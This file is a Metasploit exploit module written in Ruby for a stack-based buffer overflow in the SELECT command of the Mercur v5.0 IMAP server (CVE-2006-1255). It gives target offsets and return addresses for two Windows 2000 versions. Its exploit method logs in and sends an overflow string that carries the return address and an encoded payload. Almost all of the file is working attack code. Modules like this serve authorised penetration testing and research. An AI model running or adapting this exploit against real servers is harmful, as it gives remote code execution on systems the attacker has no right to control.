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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
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      'Description'    => %q{
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          Mercur v5.0 IMAP server is prone to a remotely exploitable
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        stack-based buffer overflow vulnerability. This issue is due
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        to a failure of the application to properly bounds check
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        user-supplied data prior to copying it to a fixed size memory buffer.
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        Credit to Tim Taylor for discover the vulnerability.
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      },
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      'Author'         => [ 'Jacopo Cervini <acaro[at]jervus.it>' ],
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2006-1255' ],
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          [ 'OSVDB', '23950' ],
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          [ 'BID', '17138' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
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          ['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2006-03-17'))
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  end
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  def exploit
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    sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
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    sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
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    sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
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    sploit << payload.encoded + rand_text_alpha_upper(453)
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    info = connect_login
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    if (info == true)
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      print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
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      sock.put(sploit + "\r\n")
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    else
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      print_status("Not falling through with exploit")
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    end
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    handler
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    disconnect
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  end
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end
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